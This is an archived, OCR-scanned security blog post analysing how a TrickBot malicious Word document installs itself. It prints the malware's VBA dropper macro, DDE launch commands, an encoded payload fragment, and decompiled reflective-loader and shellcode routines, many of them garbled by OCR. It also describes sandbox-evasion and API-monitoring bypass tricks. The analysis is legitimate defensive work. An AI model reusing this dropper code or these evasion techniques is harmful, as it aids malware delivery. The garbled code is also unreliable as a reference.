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TrickBot: A Closer Look
By Keysight
Archived: 2026-04-05 16:05:35 UTC

In early November, the Cybersecurity and Infrastructure Security Agency (CISA) released an advisory warning
administrators in the healthcare and public sector that TrickBot is being used to disturb healthcare services by
launching ransomware attacks and by stealing data. This month, Threat Simulator released a TrickBot assessment
covering the malware's kill chain. In this post, we'll take a close look at the installation phase of the TrickBot

infected document that inspired the assessment.
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Process tree for the sample under analysis.

Sample.doc Analysis (SHA-1: c2f948d866ff4dfa8aaebda5507c7d606ac9fb28)

The sample is a .doc file, an older file type for Microsoft Word, also known as Microsoft Word 97-2003 format.
This file type may contain Visual Basic for Applications (VBA) macros.
The document convinces the target to click Enable Editing and Enable Content. This is common for malicious

macro enabled documents to bypass security prompts and run the macro code embedded within it.

Page 1 of 15


https://us-cert.cisa.gov/ncas/alerts/aa20-302a
https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/15/simulating_trickyma-Yjn5.html

https://blogs.keysight.com /blogs /tech/nwvs.entry.ntm|/2020/12/21 /trickbot_a_closerl-TpQO.htm|

W PRTECTED MW B carcful— ks fram he Indirmect can conk s e, Usken pou e o o, 4 aeber b sy inProbocier Vios Eraz Eding

Microsoft Office Word 2020 Helper

i was downloaded from the Inbernedt,

Corporate Document #11/9/2020

According to the company's rules,
the document is available only on desktop computers,
If the preview doesn't start automatically

Gaoogle Verification Status: safe

The document contains the Document_Close event procedure. Upon closing of the document, the
Document.Close event will fire and the Document_Close procedure will be called. This will evade sandboxes that

do not close the document during analysis.

Private Sub Document Close()
Dim OldTimer

0ldTimer = Timer

Do While Abs (Timer = OldTimer) « 2
DDE'n:r.t:si

Loop I

ResecCalcD

Set DeligquentBreak = Createlbject ("Excel.hpplication™)

DeliquentBreak.Displayhlerts = False

DeliquentBreak.DDEInitiate "cmd™, "/c Ci:\Artrite\SarilumabSAR1531%1.vbe"
End Sub

The Document_Close procedure will delay execution for 2 seconds and then proceed to call the function

ResetCalcD. ResetCalcD will call another function named UniqueValues.
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Function UnigueValaes (EyVal Orighrray As Varlant) As Variant

Dim vaAns(}) A= Varianc

Dim l5tartPoint Aa Long

Dim 1EndPeaint As Londg

Dim lCtr A3 Long, lCount As Long
Dim iCer As Integer

Dim col Rs Mew Collection
Dim sIndex As String
Dim vIest As Variant, vItem Az Variant I
Dim iBadVarTypes (4) A= Inceger
alndex = "C:\Arcrite\Final_dJoana’®
n does NOot WOrk with if array element 13 cne of the

ng types
iBadVarTypes (0} = vblbject
iBadVarTypes(l) = vbErzror
iBadVarTypes (2} = vbDatalbjectc
1BadVarTypea (3} = vblUserDefinedType
iBadVarTypes (4} = vbArray

If Len(Dir(sIndex, vbDirectory)) = 0 Then
EHCreateDirectoryEx 0, sInd=x, ByVal 0
End If
heck to see if the parameter is an array

If Hot IsArray(Orighrray) Then
Dim anakinumabh As Integer
anakinumab = 1
Open "CrVArtrite\SarilumabSAR15315]1.part® For Binary Access Write As fanakinumab
Fut #anakinumab, , ""<<:Ele blogueia a atividade®

Pue panakinumal, -+ rto gué OUtra S& &ncontra designada™
Fut #anakinumab, , "°////»>Foram realizadas buscas nas bases™

>>aendo

Close #anakinumab
Open "Ci:h\Arcrice\SarilumabSAR153191.vbe™ For Oucput Access Write As fanakinumab

Print fanakinumab, ""<<iEle blogueia a acividade®™

Frint #anakinumab, luinpedrnass.dados.Caption

Frint fanakinumab, ""i>>sendo certo gue outra s& sncontra designada™
Frint #anakinumab, "°///ff»Foram realizadas buscas nas bases"™

Close fanakinumab
Err.Raise ERR_BF NUMBER, , ERE_BAD PARAMETER

Exit Function
End If

The UniqueValues function will first create the directory "C:\Artrite\Final_Joana\"

Then, UniqueValues will create the file "C:\Artrite\SarilumabSAR153191.part" and fill it with VBScript
comments.

Finally, UniqueValues will create the file "C:\Artrite\SarilumabSAR153191.vbe" and fill it with VBScript
comments along with the value of the caption "luinpedrnass.dados.Caption." The caption contains the next stage

payload, a VBScript file.

After the call to ResetCalcD, the Document_Close procedure will create an Excel.Application object. As a result,
svchost.exe will spawn a process for excel.exe. This will mask the calling process, winword.exe in this case, and
will make tracking the process tree and kill chain of the malware more difficult.

Next, the DisplayAlert property is set to False. This will prevent UI pop-ups from being presented to the user.
Finally, the DDEInitiate method is called. This method will launch an application if the target system has the
Dynamic Data Exchange Server Launch Trust Center setting enabled. This setting is no longer enabled by default.

If configured to do so, DDElInitiaite will cause excel.exe to launch cmd.exe with the command-line:
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Finally, wscript.exe will execute the next stage, C:\Artrite\SarilumabSAR153191.vbe.

tl;dr: The malicious document will use the Document_Close VBA macro to drop and execute a VBE file upon

closing the document.

SarilumabSAR153191.vbe Analysis

The script file contains double base64 encoded data in a variable named tData.

thata = thata + "VFIxUUFRTUFBQUFRQUFBOSSwOEFBTGABOUFEQUFBOUFROUFBQUFBOUFBOUFEBQUFBOUFBOO MBI FROU FRQUFEQUFBOUFBOUFBROU FBOUFBOUEI QU
cData = tData + "FBOQUEOINVANEFJOWSOSWInQlBENMGhNRIhAWY3I1CAZNeOWSIbUZ05UE0aGJeNZkQ0 JoW 1NCeWRXNGARV s RnTkTSVE1HMKZ aR1VI1BFEWS OpEQUEB"
tData = tData + "QUFBOQUFDWWadHiszUETgNZREsWEEMIMNAcVBOMNY ZozdjdnlvReNaL 3 Z6dRI2 5203y LTI TheUARYLAT s N2RZaWE rHIHA cUx OVEFLajdkbid ™
thata = tData + "CIKzHNEOHFQADImMyEIZ0ONSDyswdytmMI0rictglZRulytl 20 BOVWHLsamFOen 1wz ARUFRQUFBOUFBR kJEIU FCTUFRYUFLEH Fuif S dBQUEFR®
cData = tData + "QUFBOUFEREFETO1Rc0JCA2SEMEFBOUFECndBUFBUFEVVREOUFBOkFECUFEZ 0 FBOUFBCUFRIUJBOUFBOVEBQUE FOUFBQUFBQUFBOVEFBQUEBOU"
tData = thata + "FEQUFBOKJ4OUFBUUFBOUFECUFEONABOTFEQUF FOUF BRUIFEQUFBOVF BOOFROUFEQUFBOUFFOUFBOThEVOFROE LBQUFBZEEOOEFDI0FEQUFEHEAI ™

tData is decoded using the function DecodeBase64_1.
DecodeBase64_1 uses the Microsoft. XMLDOM object to decode base64 encoded data and uses the Adodb.Stream
object to write the decoded contents to “C:\Artrite\Final_Joana\WhatAreTopFacts.rtc”

There is minor obfuscation using the Chr function to hide the strings "b64" and "bin.base64"

xData = DecodeBase6d l(tData)

Functicn DecodeBaseéd_l (b64)

Dim b
With CreateObject ("Microsoft.XMLDOM") .createElement (chr (98) & chr(54) & chr(52))
.DataType = chr[98) & chr(l05) & chr(l10) & chr(46) & che(98) & chr(97) & chr(ll5) & chr(l0l) & chr(54) & chr(52): .Text = bé4

b = .nodeTypedValus

With CreatsObject (“Adodb.Stream™)

JOpen: .Type = 1: .Write b: .Positiom = 0: .Type = 2: .Charset = "Windows-1251%
DecodeBaseéd 1 = .ReadText

.Position = O

Iype = 2

+LCharsset = "Windowa-1251" I
.SaveIoFile ®C:\Artrite\Final Joana‘\WhathAreTopFacts.rtc®, 2
.Close

End Wich

End With

End Function

xData2 = DecodeBasef4_3(xData)

Function DECDU.QB&E&EE_JCEE‘]]

Dim b
With Createfbject ("Microsoft . .XMLDOM™) .createElement (chr (98) & chr(54) & chr(52))
DataType = chr (98} & chr(l05) & chr{ll0) & chr(46) & chr(%8) & chr(%7) & chr(ll5) & chr{l0l) & chr(54) & chr(52): .Text = b&d

b = .nodeTypedValue

With CreatefObject ("Adodb.5tream™)

Open: .Type = 1l: .Write b: .Posicion = 0: .Type = 2: .Charset = "Windows-1251"
DecodeBasecd 3 = .ReadText

-Position = 0

Iype = 2

.Charset = "Windows-1251"

:SaveToFile "C:\Arcrice\Final Joana‘\WhatAreTopFacts.rce", 2
.Close

End With

End With

End Function

The data is then decoded a second time with a similar base64 decoding function and once again saved to
“C:\Artrite\Final_Joana\WhatAreTopFacts.rtc”

Finally, an Excel DDE is used once again to launch the next stage, WhatAreTopFacts.rtc (a 32-bit DLL file), using

rundll32.exe

Set obj = Createlbject ("Excel .Application™)
cbj.DisplayfAlercts = Falas
obj .DDEInitiate "cmd™, "/c Rundll32 Ci\Artrite\Final Joana‘\WhatAreTopFacts.rtc,DllRegisterServer™
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tl;dr: SarilumabSAR153191.vbe will drop and execute a 32-bit DLL file using rundll32.exe.

WhatAreTopFacts.rtc Analysis

WhatAreTopFacts.rtc is a DLL that exports the function DIIRegisterServer.
It is odd that the malware author chose to name the exported function DIIRegisterServer while not taking

advantage of the LoLBins that utilize that exported function. (msiexec.exe, odbcconf.exe)

The DIIRegisterServer function will deobfuscate the strings "LdrFindResource_U" and "LdrAccessResource".

FUN_10001ab0 {"LdrFin", €) ;

= f:

=

= & OxEFfffFO0;
IF" 1._ Qo0labo | +5)

-

= E EEE£££00;
FUN_10001ab0 | +E)

FUN_1000labd ("Acces™,5):

Next, DIIRegisterServer will dynamically resolve the API functions ntdll!LdrFindResource_U and
ntdll!LdrAccessResource before calling LdrFindResource_U and LdrAccessResource to fetch the contents of a

resource embedded within the resource section of the binary.
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litdll = LoadLibraryA(™ntdll.dll™);
if (local_3c < 0xl0) {

if (local 58 ¢ 0x10) il

sLdrAccessResource = (LPCSIR)&sldrAccessResource;
}
pldriccessRes

(*_pLdrAccessResource) (0x10000000,unaff EBX, sstackOxfffffeel, estackixfffffeds);

The embedded resource has an entropy value of 7.99613 bits per byte. The high entropy suggests that the resource
is encrypted data.

DlIRegisterServer will then copy the resource data into freshly allocated PAGE_EXECUTE_READWRITE

memory.

tect = _atol("64");

/4 MEM COMMIT = 0xl1000 , PAGE |
pShellcode = VirtualAlloc( (LPVOID) 0x0, resourceSize, 0x1000, f1Frotect);
i = resourceSize >> 2;

(1]
™
M
bl
m
<
IF"I
ﬁ
=
m
=
=]
m
]
(=0
e
-

pCurrent = (undefinedd *)pShellcode;
while (i !'= 0) {

*pCurrent = *pResourceData;

pREesourcelData = pEBesourcelata + l:
Current = plurrent + 1;

- - r

i=1-=-1;

* [undefined *)plurrent = * (undefined *)pResourcelata;

pResourceData = (undefined4 *) {(({int)pBesourceData + 1)
ent = (undefined4 *) ({int)plurrent + 1l);

DlIRegisterServer will go onto decrypt the resource data using a dynamically derived key and an XOR based

encryption/decryption routine.

DeriveKey({s h&*Pwxd#0iclSWQEVm pb! *b+IWJD3c* 10012100, 0x4b, estackixffiffedc);
EncryptDecrypt {pShellcode, resourcesize, estack0xfffffedc);
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Finally, DIIRegisterServer will execute the decrypted resource data. The resource data turns out to be encrypted
shellcode.

(* {code *)pShellcode)():

tl;dr: WhatAreTopFacts.rtc will decrypt and execute encrypted shellcode embedded as a resource.

WhatAreTopFacts.rtc Shellcode Analysis

At the tail end of the shellcode there is an embedded Portable Executable (PE) file. The embedded PE is a DLL.

00000520 BB 44 16 1C 8D 04 88 5B 04 10 03 Cc2 EB DE [E <D...."¢...A&0
00000530 90 03 00 00 04 00 00 FF FF 00 00 B8 00 ..casssnss G¥en,
0000540 00 Q0 00 00 40 00 00 00 00 00 00 .eceselocnananas
00000550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +sesesssnssnsssns
00000560 00 00 0o 00 00 00 00 C8 00 00 00 qE IF .cecasan=s Eevvns
00000570 BA OE 00 B4 09 CD 21 BE 01 4C CD 21 54 62 €9 73 °..-.I!',.LI'This
00000580 20 70 72 6F €7 72 61 €D 20 €3 €1 €E 6E €F 74 20 program cannot
00000590 62 €5 20 72 75 20 €9 €E 20 44 4F 53 20 6D €éF be run in DOS mo
000005A0 64 65 2E OD OD OA 24 00 00 00 00 00 00 00 85 F6 dEeeeeFernnssan &
COO0OSBD BB C2 C1 97 E5 %1 C1 57 E5 91 C1 97 E5 %1 1C 68 «<AA&'A&'A&'.h

The shellcode begins by using the (JMP)/CALL/POP technique to get the base address of the shellcode. The base

address is then used to calculate the start and end address of the embedded PE.

EéECCJJSCF call
58 pop eax
B9c3 Lt ebx, eax
X B 8529850000 add eax, x: e ehase
B EpRoeed B1c3296ba3oe add ebx, @x36hza hellcodebase ke =Ta
X | BED122DRDE push 1
BERSRGDBDE push
53 puust ehx
e 688a7b1ced push Bxe t a
3 30 push eax t a ehddre
3 804000000 call adD11

In the shellcode, there is a function that gets a pointer to the PEB and walks the linked list of loaded modules.

216: GetProcAddressByHash ();
ar uint32_t wvar_14h
ar t32 ar_18
ar intiZ_t wvar_lcn
1 Biacl@ sub esp, Bx1¢
NBB455 B4a13000000¢ M eax, dword fs:[Ex30] get a pointer to the PEB
45F 53 pusk ehix
pOBRBa4EE 55 puS ebp
I 56 pusk esi
BxOBBRB4E2 Bb4@Bc mio eax, dword [eax + @xc] ; get PEB->Ldr
e 57 pusk edi
B B34cZ418 Mo dword [var_18Bh], ecx
463 Bh7@ac Mo esi, dword [eax + @uc] ; get -] 3d0rde le
[ exeeoo: 19f clcoed ror ecx, @xd ; ROR 13 |

This function implements a common shellcode technique that resolves Windows API functions by using a

precomputed value using a ROR 13 based hash function.
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The shellcode will then use the above function to resolve the APIs necessary to load a PE from memory.

¥ peozd Biec4B sub
) Bi64241808 and
b94c772607 maow
53 push
55 push
56 push
57 push
33fe xor
2811840008 cal
bS49f70278 mav
Bo44240¢ mov
2303040000 cal
b9583453e5 mov
BE44747% mov
eifs5830008 call
b31@e18ac3 maw
Bbed mov
e8e3@30008 call
b3afb15c94 mov
BoS44240¢ maov
e8dba30000 call
b933809e95 mow
B5442430 may
e8cdd3eane call

esp, w48

dword [var_18h],
ecx, BxT267T4cC
ebx

ebp

esi

edi

esi, esi
GetProcAddressByHash
ecx, OxTEO2f749 ; Ker
dword [var_ich]l, eax
GetProcAddressByHash
ecx, Bne553a458 |
dword [var_28h), eax
GetProcAddressByHash
ecx, dwcisaella ;
ebp, eax
setProcAddressByHash

ecx, @x945chiaf ; Ntdll!NtFlus
dword [var_2ch], eax
GetProcAddressByHash

ecx, Oux95%e00833 : '3 Kern
dword [var_3eh], eax
GetProcAaddressByHash

%]

r 13210 -
wiE

Kar

Kernel32!y

L ibrarya

I' oCAQress

tualAlloc

tualProtect
hInstructionCache
132 |GetNat iveSystemInfio

These APIs will be used to load the PE in memory.

tl;dr: The shellcode will load and execute a DLL from memory.

WhatAreTopFacts.rtc Embedded DLL 1 Analysis

There is an embedded PE within this DLL. The embedded PE is a DLL.

20 6D 65 €D 6F 72 79 20 70 €1 &7 €5 00 00 00 00 memory page....
47 €5 74 4E €61 T4 69 76 65 53 79 73 T4 65 €D 4% (GetNativeSysteml
6E 66 6F 00 €B 00 €5 00 72 00 6E 00 65 00 6C 00 nfo.k.e.r.m.e.l.
33 00 32 00 2E 00 €4 00 6C 00 &C 00 Q0 00 00 00 3.2...d.l.1.....
50 00 03 00 00 00 04 00 00 00 FF FF 00 00 WH@.......... ¥v..
B8 00 00 00 OO0 00 OO0 OO0 40 00 00 00 00 00 00 00 L.evenes [
00 00 00 00 00 OO0 GO 00 00 OO0 00 00 OO0 00 00 O0 .vweeoconsnrnnss
DO 00 00 00 00 OO0 OO0 OO0 00 OO0 00 00 DO 00 00 00 .iueeeeaaeesBess
DE 1F BA OE 00 B4 09 CD 21 B2 01 4C CD 21 54 €8 ..®..".I!,.LI!'Tn
€0 73 20 70 72 €F €7 72 61 €D 20 €3 €1 €E €E €F is program canno
74 20 62 €5 20 72 75 €E 20 €% EE 20 44 4F 53 20 t be run in DOS
6D 6F 64 €5 2E OD OD OA 24 OO0 00 00 00 00 00 00 mode....5.......
97 DC AD ED D3 BD C3 BE D3 BD C3 BE D3 BD C3 Ez . iGRnd G dy

First, this DLL dynamically resolves the API function kernel32!GetNativeSystemInfo.

yatemInfo =

LoadLibraryW (u_kernel32.dll);

o = GetProcAddress (hEer

5 _GetMativeSystemInfo;

iveSystemInfo) ;

Next, the DLL parses the embedded PE's headers and calculates the PE’s size.
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i i
¥

if (peRddress pointa to a FE file) %/

(peImageBase->& _magic == OxSadd) |

icentSize = GreaterThanEqualTo (peSize,pelmageBase->e_lfanew + Ox£2):

if (bSufficentSize != 0) {

pPEHeader = (PIMAGE NT HERDERS3Z) ((int)ipeImageBase->& magic + pelmageBase->e 1fanew) @
fv 0x4550 = "PE" af

if

if (pPEHsader->Signature == 0x4550) |
F¥ 0x14C = i3B& 32=-bit file #f
if ((pPEHeader->FileHeader) .Machine == 0xldc) |

/% eyven SectionAlignment ¥/
if {{{pFEHeader=>0ptionalHeader) .SectionhAlignment & 1) == 0) |

pSectionHeader =

(PIMAGE SECTION HERDER)

{{int) & (pFEHeader=->0ptionalHeader) .Magic +

{uint) (pPEEeader->FileHeader) .Size0fOptionalHeader) ;
i = Q=

-

while (i < (pFEHeadsr->Filelieader).Number0fSections) [
if (pSectionHeader=->Size0fFawData == () |

rvaEndOfSectior
1onHeader-»VirtualAddress + (pPEH=

ader->0Optionalleader) .SectionAlignment|

}

1 =14+ 1

nSectionHeader = pSectionHeader 4 1;
]
("poecHativeSystemTnfo) (esyascemInfo) 2

/% alignedImageSize 4/
= RAtlAlignUp<int> (({pE

reusedVar

Tr

dwFageSize);

redImagsS1Te

allgnegi alcila

AtlRlignUp<int>({calcula

o.dwPageSize) :

Afterwards, Virtual Alloc is used to allocate memory at the PE's preferred base address. If memory allocation fails,

then memory is allocated again, this time letting the OS decide the allocated memory address.

fo MEM COMMIT | MEM RESERVE, FAGE READWRITE */
e = [LEFVOID) (* {code "jcallVirtualRhlloc)
{{pFEHeader-»0ptionalHeader) . ImageBase, r=u

0x3000,4,zer0);
(LFVDID)Ox0) &&
¢ = (LEVOID) (*(code *)callVircuallilloc) (0, reused
pERImageBase == [LEVOID)OxO)) {
SetLastError (0xe);

JeBage =

if ((pR¥Ima

(PRWImageB

Var,0x3000,4,zero),

Next, the DLL allocates heap memory for a custom struct and initializes it.

rtes = Ox407

ip = GetProcessHeap() :

(REFLECTIVE_LORDER_INSTANCE *)HeapRlloc(hHeap,dw
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pEeflectiveloaderInastance->pENInageBase = pRENImageBase;

bIsDLL = (uint) ({(pFEHeader->FileHeader).Characteristica & 0x2000) != 0Q);
pReflectiveloaderInstance—->bIaDLL = I
i jundefined *%)gpReflectiveloaderinstance->pVirtualAlloc = callVirtualAlloc;
t jundefined *%)gpReflectivel

*[int *) spReflectivel

Instance=>p¥VirtualFree = callVirtualFree;
e=>pLoadlibraryi = callLoadLibraryh;
t[(int *)epRef ance->pFetProcAddress = callGetProchddress;
i (int *)zpReflectiveloaderinst --..—.—>p!‘:eeL1brary = gallFreelibrary;
pReflectiveloaderInstance—>Unknown Ox34 = zero;
pReflectiveloaderinstance->JdwPageSize = systeminfo.dwPageSize;

Next, the DLL copies the PE's headers into the allocated memory region.

= [void *) [(*(code *)callVirtualAlloc)
(pRNImageBase,

(pPEHeader->0ptionalHeader) .Size0fHeaders,
0x1000,4,zer0):

mencpy (PRWHeader, pelnagebBase, (pPEHeader->0ptionalHeader) .SizeQfHeaders) ;

The headers are then used to load the PE's sections into memory.

reugsediVar = LoadSectionsIntoMemory
(peImageBase,peSize, pPEHeader, pReflectiveloaderInstance)

The DLL will then go onto perform base relocation, if necessary.

/% reusedVar = ImageBase delta */
reusedVar = (pReflsctiveleoaderinstance->pRWPEHeader->0ptionallieader).
ImageBase - (pPEHeader->0ptionalHeader).ImageBase;
if (reusedVar = 0)
F

FE waa successfully loaded into ita preferred base addreas %/

pReflectiveloaderInscance=>bRelocationComplete = 17

1
elae |
uVarl = ProceasBelocationIable (pReflectiveloaderInstance,reusedVar);
ReflectiveloaderInstance->bRelocationComplete = uVarl:
}

Next, the libraries in the PE's import table will be loaded.

= Procesalmportlable (pReflectiveloaderInstance);

Afterwards, the image base address in the PEB is set to the base address of the next stage PE.

/' regsedVar := PPER pPeb;

pPek = (PPEB)__ readfadword(0x30);

pPeb->ImageBagelddress = pRWImageBage;

{ (FLDR_MODULE) (pPeb=>Ldr=>InLoad0rderModulelist)) .BaseAddress = pRWImageBase;

T

reusedVar = *{int *) {in F5 OFFSET + 0x30):
* (LEVOID &) {reusedVar + 8) = pRWImagsBase;
¥ (LEVOID *) (*{int *) (* (int *) (reusedVar + Oxc) + Oxzc) + O0xlE) =
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Finally, the entry point of the next stage PE will be called.

f* Call the encry point of the reflectively loaded PE */f
{*{code *)((pReflectiveloaderInstance=->pRHFEHeader->0ptionalHeader).
AddressOfEnctryPoint + (int)pRWImageBase))();
pReflectiveloaderInatance=->bCalledEntryFoint = 137

This DLL is a reflective loader.

The custom struct from earlier can be used to find the source of this reflective loader implementation. Googling

the following will lead to a fork of the MemoryModule project:

The simularity struct definitions suggests that this DLL uses a derivative of the MemoryModule project.

typedef struct {
PIMAGE_NT_HEADERS headers;
unsigned char =codeBase;
HOUSTOMMODULE =modules;
int nusModules;
BOOL initialized;
BOOL isDLL;
BOOL isRelocated;
CustomillocFunc alloc;
CustoaF reeFunc free;
CustomloadlibraryFunc loadLibrary;
CustomGetProcAddress Func getProcAddress;
CustomfFreelLibraryFunc freeLibrary;
struct ExportMameEntry =nameExportsTable;
wold suserdata;
ExeEntryProc exeEntry;
OWORD pageSize;
gifdef _WINGA
POINTER_LIST sblockedMemory;
gendif
} MEMORYMODULE, =PMEMORYMODULE;

Struct definition from MemoryModule

PIMAGE_NT_HEADERS32  pRWPEHeader
pRWImageBase

WIS
?
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Reversed struct definition
The only significant differences between reflective loader implementations were:

e A custom implementation of the C Run-time Library's (CRT) realloc function is used. This is a necessary
since the CRT's realloc function requires that the CRT is initialized, which it will not be in this case.
o GetNativeSystemInfo is dynamically resolved instead of imported

e The image base addresses in the PEB is updated

tl;dr: This DLL will load and execute the next stage DLL from memory using MemoryModule.

WhatAreTopFacts.rtc Embedded DLL 2 Analysis

This DLL is similar but slightly different to the DLL from the previous stage. The custom struct no longer has a
field for VirtualAlloc and VirtualFree. This correlates with revisions of MemoryModule prior to commit
d88817fb.

It is odd that two different versions of the same project are used within the same sample.

->pRWImageBase =
..... = f(uint) {{(pPEHeader->FileHeader) .Characteriscica & 0x2000) != 0);
Fef] t L I =>bIaDLL = bIsDLL;
t{int *)spReflectiveloade tance->ploadLibraryA = callloadLibrary;
®{int *jepReflectivel rInstance->pecProchddreas = callGecProchddresa;
*{int *)&pF I I =»pFreelibrary = callFreelibrary;
ReflectiveLoade stance->field 0x28 = zero;

=>dwPageSize = Info.dwPageSize:

The next stage DLL is launched by calling its DIIRegisterServer exported function.

le = (int ")MemoryLoadlibrary(sDAT PayloadDLL3, 0x32400);
= [code *)HemoryFerProchddress | s (byee ) "Dl1lRagisterServer™):
{*pDllBegisterServer) (param 2);

tl;dr: This DLL will load and execute the next stage DLL from memory using MemoryModule (again).

WhatAreTopFacts.rtc Embedded DLL 3 Analysis

First, the DLL will allocate PAGE_EXECUTE_READWRITE memory using obfuscated values for the constants:
MEM_COMMIT and PAGE_EXECUTE_READWRITE.
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= (LEVOID)
while (Ox 1
}
while (0uxd ]
I
do
MIT AGE_EXE E_RERDW
= | START ROUTINE)VirtualhAlloc( s Oxd 1 5 L o1 tect);
if | == (LPTHREAD START ROUTINE)O=0) {
Sleep (300} ;
} while (| == (LPTHRERD START ROUTINE) 0x0) ;

Then, encrypted shellcode is decrypted using an XOR based encryption/decryption routine.

jundefinedd GetDecryptedShellcode (undefinedd unused, LFVOID shellcode)

encryptedShe ~ode, 0x31730, (uint *)shellcode):

CreateThread ( (LFSECURITY ATTRIBUTES) 0x0,0, » (LFYOID) 0x0,0, (LFDWORD) 0x0) ;

tl;dr: this DLL will decrypt and execute shellcode using the CreateThread.
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WhatAreTopFacts.rtc Embedded DLL 3 Shellcode Analysis

In the last part of the installation phase, self-unpacking shellcode is used to create a new 64-bit wermgr.exe
process in the suspended state using kernel32!CreateProcessInternalW.

Then, the shellcode transitions the current 32-bit process (rundll32.exe) context into a 64-bit context. This context
switch will bypass popular API monitoring tools that only hook 32-bit ntdll APIs for WoW64 processes.

After switching context, code is injected into the suspended process using the Process Hollowing technique.

Finally to complete installation, the main thread of the wermgr.exe process is resumed.\

Source: https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQO0.html
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